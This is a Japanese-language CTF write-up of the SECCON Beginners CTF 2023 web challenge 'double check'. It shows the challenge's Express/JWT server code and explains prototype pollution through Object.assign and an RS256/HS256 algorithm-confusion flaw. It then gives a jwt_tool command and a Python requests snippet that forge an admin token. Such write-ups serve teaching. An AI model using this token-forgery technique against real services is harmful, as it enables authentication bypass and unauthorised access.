SECCON Beginners CTF 2023 「double check」

はじめに

SECCON Beginners CTF 2023に「bitbuger」として参加しました。Web分野の問題を解き結果は32位でした。
その中の「double check」について自分の思考回路を交えてWriteupを作成します。

double check

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;


  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

app.listen(PORT, HOST, () => {
  console.log(`Server is running on port ${PORT}`);
});

まず、2つのチェックについて見ていく

if (username === "admin" && password === getAdminPassword()) 
中略
 if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {

usernameはadminは指定できるが,passwordは getAdminPassword()によって生成されている. getAdminPassword()は16ビットのランダムな値なので,総当たりでは突破できない.

脆弱性1つ目

 const token = Object.assign({}, verified);
 const user = Object.assign(req.session.user, verified);

if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

prototype pollutionの脆弱性が発見できる..adminを汚染することでFLAGを獲得できる.

脆弱性2つ目

暗合化
signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
複合化
 verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }

暗合化のアルゴリズムはRS256の公開鍵暗号,複合化のアルゴリズムはRS256に加えHS256の共通鍵暗号が許可されている。これによって、任意のペイロードを送ることが可能となる

この2つの脆弱性を使用した。

解決

jwt.ioを使用しAuthorizationを以下のように書き換える

その後jwt toolを使用しAuthorizationを公開鍵で暗号化したものにする
python3 jwt_tool.py $jwt --exploit k -pk ../app/keys/public.key

以下のようにリクエストを送るとFLAGを得ることができた

session = requests.Session()
session.cookies.set('connect.sid', response.cookies['connect.sid'])

flagheaders = {'content-type': 'application/json', 'Authorization':'jwt_tool'}
response = session.post(flagurl,data=json.dumps(data),headers=flagheaders)

print(response.text)